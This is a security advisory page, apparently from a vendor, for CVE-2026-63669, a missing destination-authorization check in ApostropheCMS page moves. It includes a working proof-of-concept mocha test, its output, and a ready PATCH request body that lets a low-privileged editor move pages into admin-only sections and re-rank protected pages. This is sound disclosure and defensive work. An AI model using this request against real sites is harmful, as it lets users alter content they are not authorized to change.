CVE-2026-63669

CVE-2026-63669 is a medium-severity missing authorization vulnerability in apostrophe (npm), affecting versions <= 4.31.0. It is fixed in 4.32.0.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

ApostropheCMS: Missing destination-parent authorization in page move() allows a low-privileged editor to move and re-rank pages inside a restricted subtree

ApostropheCMS enforces per-type authorization on pages: a page type may declare editRole / publishRole (and the core @apostrophecms/archive-page does), so a project can have page-type subtrees that only higher-privileged roles are allowed to create or edit within. The move() operation is supposed to enforce that a page may only be moved into a parent the actor has create rights over, this is the same boundary the page-insert route enforces (the insert target is fetched with .permission('create')).

A regression in the move authorization guard silently disabled that destination check for every normal move. The guard now reads (oldParent._id !== parent._id) && (parent.type !== '@apostrophecms/archive-page') && (!parent._create) && (oldParent.type === '@apostrophecms/archive-page' && !parent._edit). Because the final && clause requires oldParent.type === '@apostrophecms/archive-page', the whole conjunction can only be true while restoring a page out of the archive. For any ordinary move (the source page's old parent is a normal page), that clause is false, the entire condition is false, and !parent._create is never evaluated. The only surviving gate in the whole path is moved._edit, i.e. "can the actor edit the page being moved", which a low-privileged editor legitimately holds for their own ordinary pages.

The result is that any authenticated user who can edit at least one page can relocate that page under a parent of a restricted type they have no create/edit rights over, and in doing so trigger an unauthenticated, unchecked updateMany that re-ranks the restricted parent's existing children (documents the actor cannot edit). This is reachable directly from the documented PATCH/PUT /api/v1/@apostrophecms/page/:_id REST routes via the attacker-controlled _targetId / _position body fields.

Affected code (4.31.0)

The broken guard in move(), packages/apostrophe/modules/@apostrophecms/page/index.js:

if (!moved._edit) {
  throw self.apos.error('forbidden');
}
if (!(parent && oldParent)) {
  // Move outside tree
  throw self.apos.error('forbidden');
}
if (
  (oldParent._id !== parent._id) &&
  (parent.type !== '@apostrophecms/archive-page') &&
  (!parent._create) &&
  (oldParent.type === '@apostrophecms/archive-page' && !parent._edit)   // <-- regression: gates the whole check on "moving out of the archive"
) {
  throw self.apos.error('forbidden');
}

The target/parent is fetched with permission filtering explicitly OFF (so the guard above is the only thing that is supposed to enforce destination authorization), getTarget():

const target = await self.findForEditing(_req, criteria)
  .permission(false)        // target is located regardless of the actor's rights
  .archived(null)
  .areas(false)
  .ancestors({ depth: 1, ... permission: false })
  .children({ depth: 1, ... permission: false }).toObject();

The privileged sink that then runs unguarded, nudgeNewPeers() re-ranks the destination parent's existing children with a raw DB write and no permission check:

async function nudgeNewPeers() {
  const locale = moved.aposLocale.split(':')[0];
  const criteria = {
    path: self.matchDescendants(parent),
    aposLocale: { $in: [ `${locale}:draft`, `${locale}:published` ] },
    level: parent.level + 1,
    rank: { $gte: rank }
  };
  // Nudge down the pages that should now follow us
  await self.apos.doc.db.updateMany(criteria, { $inc: { rank: 1 } });
  ...
}

The REST entry point, the patch route reaches move() after only the moved._edit gate, with attacker-controlled _targetId / _position:

const page = await self.findOneForEditing(req, { _id });
...
if (!page._edit) {
  throw self.apos.error('forbidden');
}
...
if (input._targetId) {
  const targetId = self.apos.launder.string(input._targetId);
  const position = self.apos.launder.string(input._position);
  modified = await self.move(req, page._id, targetId, position);
}

For comparison, the sibling page-insert route enforces the destination boundary correctly by fetching the target with create-permission filtering, so an actor without create rights under the target gets notfound:

// post route (insert)
const target = await self.getTarget(req, ...).permission('create') ... // restricted target is not found -> insert denied

Provenance (introduced regression)

The guard was correct until commit 9f72bd229be07e537a2ae894f4527f2fe6bcd3bd ("allow restore pages"), which changed it from (oldParent._id !== parent._id) && (parent.type !== '@apostrophecms/archive-page') && (!parent._create) to the four-clause version above. The intent was to stop legitimate archive restores (where parent._create can be false) from being wrongly forbidden, but ANDing the new clause onto the existing chain gated the entire _create enforcement on oldParent being the archive, silently removing destination authorization for all normal moves. The condition is unchanged at HEAD (4.31.0).

Attacker model / precondition

The attacker is a low-privileged but content-editing authenticated user, in the core role model an editor or (in draft mode) a contributor, who can edit at least one ordinary page. No admin rights, no special tokens.

The differentiated-permission boundary that makes this a bypass must exist in the project. In core, permission.can(req, 'create'/'edit', type) is computed per page-type via checkRoleConfig('editRole'), so the boundary is present whenever a project configures a page type (or the archive) with an editRole / publishRole higher than the actor's role, or uses per-page editPermission / the @apostrophecms/workflow add-on to make _edit / _create page-specific. The core @apostrophecms/archive-page already ships editRole: 'admin' / publishRole: 'admin', and restricted section page types are a standard pattern. On a single-role site where every editor can already edit every page, the boundary does not exist and there is no additional impact, hence Medium, not High, in the general case. Where the boundary exists, this is a cross-boundary tree-restructuring and protected-sibling-mutation bypass.

Proof of Concept (complete, runs on 127.0.0.1 only)

The PoC uses ApostropheCMS's own test harness (a real Apostrophe instance + MongoDB) to drive the real apos.page.move() code path with a non-admin editor request. It creates an admin-only section page type (editRole: 'admin'), an admin-owned secret section with a pre-existing admin-only child, and an ordinary page an editor may edit; the editor then moves their page under the admin-only section. The move succeeds (it must be forbidden), the page is relocated under the restricted branch, and the protected child is re-ranked.

Environment: Node 24, Docker (for MongoDB). Clone the repo at the anchor and install the workspace with pnpm.

# 1. Disposable MongoDB on 127.0.0.1
docker run -d --name apos-mongo -p 27017:27017 mongo:7

# 2. Repo at the anchor
git clone https://github.com/apostrophecms/apostrophe.git /tmp/dh-apostrophe
cd /tmp/dh-apostrophe
git checkout 68f1312d3          # 4.31.0 line
npm i -g pnpm
pnpm install --filter apostrophe...

# 3. Drop in the PoC test and run it
cd /tmp/dh-apostrophe/packages/apostrophe
#   (write test/poc-move-bac.js below, then:)
npx mocha test/poc-move-bac.js

packages/apostrophe/test/poc-move-bac.js:

// PoC: Broken Access Control in apos.page.move()
// A non-admin (editor) can move a page they may edit UNDER a parent page
// whose type is admin-only (editRole: 'admin'), bypassing the destination
// "create" permission check that move() is supposed to enforce.
const t = require('../test-lib/test.js');
const assert = require('assert');

describe('PoC move BAC', function() {
  let apos;
  this.timeout(t.timeout);

  after(async function() {
    await t.destroy(apos);
    apos = null;
  });

  before(async function() {
    apos = await t.create({
      root: module,
      modules: {
        // A restricted page type: only admins may edit/create pages of this type.
        'secret-page': {
          extend: '@apostrophecms/page-type',
          options: {
            editRole: 'admin',
            publishRole: 'admin'
          }
        },
        // An ordinary page type any editor can edit/create.
        'public-page': {
          extend: '@apostrophecms/page-type'
        },
        '@apostrophecms/page': {
          options: {
            park: [],
            types: [
              { name: '@apostrophecms/home-page', label: 'Home' },
              { name: 'secret-page', label: 'Secret' },
              { name: 'public-page', label: 'Public' }
            ]
          }
        }
      }
    });
  });

  it('demonstrates the BAC', async function() {
    const adminReq = apos.task.getReq({ role: 'admin' });
    const home = await apos.page.find(adminReq, { level: 0 }).toObject();

    // Admin creates an admin-only "secret" section page directly under home.
    const secret = await apos.page.insert(adminReq, home._id, 'lastChild', {
      title: 'Secret Section',
      type: 'secret-page',
      slug: '/secret'
    });

    // Admin creates a pre-existing CHILD inside the secret section. Its rank
    // must NOT be silently rewritten by a lower-priv user's move.
    const secretChild = await apos.page.insert(adminReq, secret._id, 'lastChild', {
      title: 'Secret Child',
      type: 'secret-page',
      slug: '/secret/child'
    });
    const secretChildBefore = await apos.page.find(adminReq, { _id: secretChild._id }).toObject();

    // A non-admin EDITOR. Editors can edit/create ordinary pages but NOT
    // pages of type secret-page (editRole: admin).
    const editorReq = apos.task.getReq({
      role: 'editor',
      user: { _id: 'editor-user', title: 'Editor', role: 'editor' }
    });

    // The editor creates an ordinary page under home (allowed).
    const mine = await apos.page.insert(editorReq, home._id, 'lastChild', {
      title: 'My Page',
      type: 'public-page',
      slug: '/mine'
    });

    // Sanity: confirm the editor genuinely lacks create/edit rights on the
    // secret section (so a move under it MUST be forbidden).
    const secretForEditor = await apos.page.find(editorReq, { _id: secret._id })
      .permission(false).toObject();
    console.log('PRECONDITION editor._create on secret =', secretForEditor._create,
      ' editor._edit on secret =', secretForEditor._edit);
    assert.strictEqual(secretForEditor._create, undefined,
      'precondition: editor must NOT have create rights on the admin-only section');

    // THE ATTACK: editor moves their ordinary page UNDER the admin-only
    // secret section. This SHOULD throw "forbidden". If it succeeds, BAC.
    // Use 'firstChild' so the moved page takes rank 0 and the pre-existing
    // admin-only child must be nudged from rank 0 -> 1 (a write to a doc the
    // editor cannot edit).
    let moveError = null;
    try {
      await apos.page.move(editorReq, mine._id, secret._id, 'firstChild');
    } catch (e) {
      moveError = e;
    }

    const moved = await apos.page.find(adminReq, { _id: mine._id }).toObject();
    const secretChildAfter = await apos.page.find(adminReq, { _id: secretChild._id }).toObject();

    console.log('move threw:', moveError ? moveError.name : 'NOTHING (move succeeded)');
    console.log('moved page path:', moved && moved.path);
    console.log('moved page is now under secret?', moved && moved.path.includes(secret.aposDocId));
    console.log('secret child rank BEFORE:', secretChildBefore.rank, ' AFTER:', secretChildAfter.rank);

    // Assertions that prove the vulnerability:
    assert.strictEqual(moveError, null,
      'VULN NOT PRESENT: move was correctly forbidden');
    assert.ok(moved.path.includes(secret.aposDocId),
      'VULN: editor relocated their page under the admin-only section');
    assert.notStrictEqual(secretChildAfter.rank, secretChildBefore.rank,
      'VULN: editor re-ranked an admin-only sibling page they cannot edit');

    console.log('\n*** BROKEN ACCESS CONTROL CONFIRMED: editor moved a page under an admin-only section and re-ranked its protected children ***');
  });
});

Observed output (4.31.0, commit 68f1312d3):

  PoC move BAC
Listening at http://localhost:34129
PRECONDITION editor._create on secret = undefined  editor._edit on secret = undefined
move threw: NOTHING (move succeeded)
moved page path: iqhgqffcpe3iwoe7qqvr79rx/l0ua8mfilcfdp38vduhj4684/szhq36qak65mnefb5va1cv4d
moved page is now under secret? true
secret child rank BEFORE: 0  AFTER: 1

*** BROKEN ACCESS CONTROL CONFIRMED: editor moved a page under an admin-only section and re-ranked its protected children ***
    ✔ demonstrates the BAC (390ms)

  1 passing (6s)

The precondition holds (editor._create on secret = undefined), the move did not throw (NOTHING), the editor's page is now physically under the admin-only section's path, and the protected sibling's rank was rewritten (0 → 1) by the editor's request. In a deployed site the identical effect is reachable over HTTP by a logged-in non-admin via PATCH /api/v1/@apostrophecms/page/<myPageId>:en:draft with body { "_targetId": "<restrictedSectionId>:en:draft", "_position": "firstChild" } (the route reaches move() after only the page._edit gate on the moved page).

Impact

A user with no create/edit rights over a restricted page-type subtree can:

  • Relocate a page they control into that restricted subtree (placing their content beneath an admin-only/role-gated section, changing its URL/slug to inherit the protected branch's path, and altering site structure across an authorization boundary), and
  • Cause an unchecked updateMany to re-rank the restricted parent's existing children, i.e. mutate (reorder) documents the actor is explicitly not permitted to edit.

This is an integrity / authorization-boundary violation. It does not, by itself, disclose restricted field contents (read access is still filtered elsewhere), confidentiality impact is None, and it is not a remote code or availability bug. The security consequence is unauthorized modification of protected content structure/ordering and unauthorized placement of content inside a role-gated branch.

The application does not perform an authorization check before performing a sensitive operation. Typical impact: unauthorized access to restricted functionality or data.

CVE-2026-63669 has a CVSS score of 6.5 (Medium). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.32.0); upgrading removes the vulnerable code path.

Affected versions

apostrophe (<= 4.31.0)

Security releases

apostrophe → 4.32.0 (npm)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Restore destination-parent authorization for all non-archive moves and special-case only the archive-restore path. Replace the broken guard with logic equivalent to:

if (
  (oldParent._id !== parent._id) &&
  (parent.type !== '@apostrophecms/archive-page') &&
  (!parent._create) &&
  !(oldParent.type === '@apostrophecms/archive-page' && parent._edit)
) {
  throw self.apos.error('forbidden');
}

That is: a cross-parent move into a non-archive destination is forbidden unless the actor has create on the destination, with the single exception that restoring a page out of the archive into a destination the actor may edit is allowed. Equivalently, fetch the destination with .permission('create') (as the insert route does) and reject when it is not returned. Add a regression test asserting that a non-admin cannot move a page under a parent whose type carries a higher editRole/publishRole, mirroring the PoC above.

Please credit 5ud0 / Tarmo Technologies.

Frequently Asked Questions

  1. What is CVE-2026-63669? CVE-2026-63669 is a medium-severity missing authorization vulnerability in apostrophe (npm), affecting versions <= 4.31.0. It is fixed in 4.32.0. The application does not perform an authorization check before performing a sensitive operation.
  2. How severe is CVE-2026-63669? CVE-2026-63669 has a CVSS score of 6.5 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of apostrophe are affected by CVE-2026-63669? apostrophe (npm) versions <= 4.31.0 is affected.
  4. Is there a fix for CVE-2026-63669? Yes. CVE-2026-63669 is fixed in 4.32.0. Upgrade to this version or later.
  5. Is CVE-2026-63669 exploitable, and should I be worried? Whether CVE-2026-63669 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-63669 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-63669? Upgrade apostrophe to 4.32.0 or later.

Stop the waste.
Protect your environment with Kodem.